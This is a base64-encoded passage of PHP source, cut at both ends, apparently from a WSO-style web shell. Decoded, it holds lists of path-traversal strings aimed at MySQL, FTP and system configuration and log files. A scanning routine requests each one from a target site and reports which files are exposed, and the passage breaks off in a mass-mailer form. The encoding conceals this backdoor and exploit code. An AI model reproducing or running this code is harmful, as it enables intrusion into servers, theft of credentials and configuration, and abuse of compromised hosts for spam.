teXNxbGRlcnJvci5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbXlzcWwubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbGliL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbGQubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215LmNuZiIuJGJ5dGUxLiIiKTsgCiAgICAgICAgIAogICAgICAgICAgJGxmaWZ0cCA9IGFycmF5KCAKICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL3Byb2Z0cGQiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3d3dy9sb2dzL3Byb2Z0cGQuc3lzdGVtLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wcm9mdHBkIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvZnRwLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wcm90cGQvcHJvZnRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdmhjczIvcHJvZnRwZC9wcm9mdHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wcm9mdHBkL21vZHVsZXMuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy92c2Z0cGQubG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkLmNocm9vdF9saXN0Ii4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL3ZzZnRwZC5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Nocm9vdFVzZXJzIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy94ZmVybG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2FkbS9sb2cveGZlcmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cGFjY2VzcyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cGhvc3RzIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwdXNlcnMiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3Ivc2Jpbi9wdXJlLWNvbmZpZy5wbCIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAyNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDI1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvc2Jpbi9wdXJlLWNvbmZpZy5wbCIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDI3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDI4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5wZGIiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDI5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmVmdHBkLnBhc3N3ZCIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMzEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL2Z0cC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL25ldC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BrZ3NyYy9uZXQvcHVyZWZ0cGQvIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICAzNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL2NvbnRyaWIvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMzYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZS1mdHBkL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDM3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDM4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3B1cmVmdHBkLmxvZyIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgMzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwLXByb3h5L2Z0cC1wcm94eS5sb2ciLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDQwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cC1wcm94eSIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwbG9nIi4kYnl0ZTEuIiIsIAogICAgICAgICAgICA0MiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL2Z0cCIuJGJ5dGUxLiIiLCAKICAgICAgICAgICAgNDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9mdHBjaHJvb3QiLiRieXRlMS4iIiwgCiAgICAgICAgICAgIDQ0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvZnRwaG9zdHMiLiRieXRlMS4iIik7IAogICAgICAgICAKICAKICAgICAgICAgJHggPSAxOyAKICAgICAgICAgaWYgKCAkdHlwZSA9PSAxICkgeyAKICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyAKICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IAogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgCiAgICAgICAgICAgIHdoaWxlKCRsZmlhY2Nlc3NbJHhdKSB7IAogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlhY2Nlc3NbJHhdKTsgCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsgCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IAogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjwvYT48YnIgIC8+IjsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iPGJyICAvPiI7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICR4Kys7IAogICAgICB9IAogICAgICB9IAogICAgICAgICB9IAogICAgICAgICBpZiAoICR0eXBlID09IDIgKSB7IAogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyAKICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IAogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyAKICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyAKICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyAKICAgICAgICAgICAgd2hpbGUoJGxmaWNvbmZpZ1skeF0pIHsgCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWNvbmZpZ1skeF0pOyAKICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyAKICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iPC9hPjxiciAgLz4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8YnIgIC8+IjsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgJHgrKzsgCiAgICAgIH0gCiAgICAgIH0gCiAgICAgICAgIH0gCiAgICAgICAgIGlmICggJHR5cGUgPT0gMyApIHsgCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IAogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyAKICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IAogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IAogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IAogICAgICAgICAgICB3aGlsZSgkbGZpZXJyb3JbJHhdKSB7IAogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmllcnJvclskeF0pOyAKICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyAKICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjwvYT48YnIgIC8+IjsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiI8YnIgIC8+IjsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgJHgrKzsgCiAgICAgIH0gCiAgICAgIH0gCiAgICAgICAgIH0gCiAgICAgICAgIGlmICggJHR5cGUgPT0gNCApIHsgCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IAogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyAKICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IAogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IAogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IAogICAgICAgICAgICB3aGlsZSgkbGZpcGhwaW5pWyR4XSkgeyAKICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcGhwaW5pWyR4XSk7IAogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IAogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgeyAKICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8L2E+PGJyICAvPiI7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIjxiciAgLz4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAkeCsrOyAKICAgICAgfSAKICAgICAgfSAKICAgICAgICAgfSAKICAgICAgICAgaWYgKCAkdHlwZSA9PSA1ICkgeyAKICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyAKICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IAogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgCiAgICAgICAgICAgIHdoaWxlKCRsZmlteXNxbFskeF0pIHsgCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaW15c3FsWyR4XSk7IAogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IAogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgeyAKICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaW15c3FsWyR4XS4iPC9hPjxiciAgLz4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIjxiciAgLz4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAkeCsrOyAKICAgICAgfSAKICAgICAgfSAKICAgICAgICAgfSAKICAgICAgICAgaWYgKCAkdHlwZSA9PSA2ICkgeyAKICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyAKICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IAogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgCiAgICAgICAgICAgIHdoaWxlKCRsZmlmdHBbJHhdKSB7IAogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlmdHBbJHhdKTsgCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsgCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IAogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWZ0cFskeF0uIjwvYT48YnIgIC8+IjsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iPGJyICAvPiI7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICR4Kys7IAogICAgICB9IAogICAgICB9IAogICAgICAgICB9IAppZiAoICR0eXBlID09IDcgKSB7IAogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyAKICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IAogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyAKICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyAKICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iO3sgCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXByb2NlbnYpOyAKICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyAKICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIlwiPiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iPC9hPjxiciAgLz4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiI8YnIgIC8+IjsgCiAgICAgICAgICAgICAgICB9IAogICAgICB9IAogICAgICB9IAogICAgICAgICB9IAogICAgICB9IAp3c29Gb290ZXIoKTsgCn0gCmZ1bmN0aW9uIGFjdGlvbnBocHRvb2xzKCkgeyAKd3NvSGVhZGVyKCk7IAo/PjxjZW50ZXI+PD9waHAgCi8vbWFpbGVyIAplY2hvICc8Yj5NYWlsZXI8L2I+PGJyPiAKPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciIG1ldGhvZD1QT1NUPiAKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InBocHRvb2xzIj4gCjxpbnB1dCB0eXBlPXRleHQgbmFtZT10byB2YWx1ZT10bz48YnI+IAo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZnJvbSB2YWx1ZT1mcm9tPjxicj4gCjxpbnB1dCB0eXBlPXRleHQgbmF